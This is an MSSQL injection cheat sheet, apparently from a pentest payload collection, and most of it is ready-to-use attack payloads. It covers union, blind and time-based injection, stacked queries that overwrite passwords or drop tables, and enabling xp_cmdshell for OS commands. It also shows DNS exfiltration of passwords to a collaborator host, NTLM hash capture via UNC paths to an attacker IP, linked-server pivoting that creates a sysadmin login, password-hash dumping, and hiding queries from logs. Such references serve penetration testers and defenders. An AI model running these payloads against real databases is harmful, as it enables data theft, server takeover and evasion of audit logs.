MSSQL Injection

MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.

Summary

• MSSQL Default Databases
• MSSQL Comments
• MSSQL Enumeration
  • MSSQL List Databases
  • MSSQL List Tables
  • MSSQL List Columns
• MSSQL Union Based
• MSSQL Error Based
• MSSQL Blind Based
  • MSSQL Blind With Substring Equivalent
• MSSQL Time Based
• MSSQL Stacked Query
• MSSQL File Manipulation
  • MSSQL Read File
  • MSSQL Write File
• MSSQL Command Execution
  • XP_CMDSHELL
  • Python Script
• MSSQL Out of Band
  • MSSQL DNS Exfiltration
  • MSSQL UNC Path
• MSSQL Trusted Links
• MSSQL Privileges
  • MSSQL List Permissions
  • MSSQL Make User DBA
• MSSQL Database Credentials
• MSSQL OPSEC
• References

MSSQL Default Databases

MSSQL Comments

MSSQL Enumeration

MSSQL List Databases

SELECT name FROM master..sysdatabases;
SELECT name FROM master.sys.databases;

-- for N = 0, 1, 2, …
SELECT DB_NAME(N); 

-- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb 
-- (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; 

MSSQL List Tables

-- use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';

SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>'

-- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';

MSSQL List Columns

-- for the current DB only
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');

-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 

SELECT table_catalog, column_name FROM information_schema.columns

SELECT COL_NAME(OBJECT_ID('<DBNAME>.<TABLE_NAME>'), <INDEX>)

MSSQL Union Based

• Extract databases names

  sqlCopy

  $ SELECT name FROM master..sysdatabases
  [*] Injection
  [*] msdb
  [*] tempdb
  

• Extract tables from Injection database

  sqlCopy

  $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
  [*] Profiles
  [*] Roles
  [*] Users
  

• Extract columns for the table Users

  sqlCopy

  $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
  [*] UserId
  [*] UserName
  

• Finally extract the data

  sqlCopy

  SELECT  UserId, UserName from Users
  

MSSQL Error Based

• For integer inputs

  sqlCopy

  convert(int,@@version)
  cast((SELECT @@version) as int)
  

• For string inputs

  sqlCopy

  ' + convert(int,@@version) + '
  ' + cast((SELECT @@version) as int) + '
  

MSSQL Blind Based

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL Blind With Substring Equivalent

Examples:

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

MSSQL Time Based

In a time-based blind SQL injection attack, an attacker injects a payload that uses WAITFOR DELAY to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

MSSQL Stacked Query

• Stacked query without any statement terminator

  sqlCopy

  -- multiple SELECT statements
  SELECT 'A'SELECT 'B'SELECT 'C'
  
  -- updating password with a stacked query
  SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--
  
  -- using the stacked query to enable xp_cmdshell
  -- you won't have the output of the query, redirect it to a file 
  SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
  

• Use a semi-colon ";" to add another query

  sqlCopy

  ProductID=1; DROP members--
  

MSSQL File Manipulation

MSSQL Read File

Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB)

Example:

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

MSSQL Write File

execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'

MSSQL Command Execution

XP_CMDSHELL

xp_cmdshell is a system stored procedure in Microsoft SQL Server that allows you to run operating system commands directly from within T-SQL (Transact-SQL).

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

If you need to reactivate xp_cmdshell, it is disabled by default in SQL Server 2005.

-- Enable advanced options
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Python Script

Executed by a different user than the one using xp_cmdshell to execute commands

EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'

MSSQL Out of Band

MSSQL DNS exfiltration

Technique from @ptswarm

• Permission: Requires VIEW SERVER STATE permission on the server.

  powershellCopy

  1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
  

• Permission: Requires the CONTROL SERVER permission.

  powershellCopy

  1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
  1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
  

MSSQL UNC Path

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.

1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 

xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

MSSQL Trusted Links

A trusted link in Microsoft SQL Server is a linked server relationship that allows one SQL Server instance to execute queries and even remote procedures on another server (or external OLE DB source) as if the remote server were part of the local environment. Linked servers expose options that control whether remote procedures and RPC calls are allowed and what security context is used on the remote server.

The links between databases work even across forest trusts.

• Find links using sysservers: contains one row for each server that an instance of SQL Server can access as an OLE DB data source.

  sqlCopy

  select * from master..sysservers
  

• Execute query through the link

  sqlCopy

  select * from openquery("dcorp-sql1", 'select * from master..sysservers')
  select version from openquery("linkedserver", 'select @@version as version')
  
  -- Chain multiple openquery
  select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
  

• Execute shell commands

  sqlCopy

  -- Enable xp_cmdshell and execute "dir" command
  EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
  select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
  
  -- Create a SQL user and give sysadmin privileges
  EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
  EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
  

MSSQL Privileges

MSSQL List Permissions

• Listing effective permissions of current user on the server.

  sqlCopy

  SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
  

• Listing effective permissions of current user on the database.

  sqlCopy

  SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
  

• Listing effective permissions of current user on a view.

  sqlCopy

  SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; 
  

• Check if current user is a member of the specified server role.

  sqlCopy

  -- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
  SELECT is_srvrolemember('sysadmin');
  

MSSQL Make User DBA

EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

MSSQL Database Credentials

• MSSQL 2000: Hashcat mode 131: 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578

  sqlCopy

  SELECT name, password FROM master..sysxlogins
  SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
  -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
  

• MSSQL 2005: Hashcat mode 132: 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe

  sqlCopy

  SELECT name, password_hash FROM master.sys.sql_logins
  SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
  

MSSQL OPSEC

Use SP_PASSWORD in a query to hide from the logs like : ' AND 1=1--sp_password

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

References

• AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice - Marc Olivier Bergeron - June 21, 2023
• Error based SQL Injection in "Order By" clause - Manish Kishan Tanwar - March 26, 2018
• Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - January 28, 2009
• IS_SRVROLEMEMBER (Transact-SQL) - Microsoft - April 9, 2024
• MSSQL Injection Cheat Sheet - @pentestmonkey - August 30, 2011
• MSSQL Trusted Links - HackTricks - September 15, 2024
• SQL Server - Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6, 2013
• sys.fn_my_permissions (Transact-SQL) - Microsoft - January 25, 2024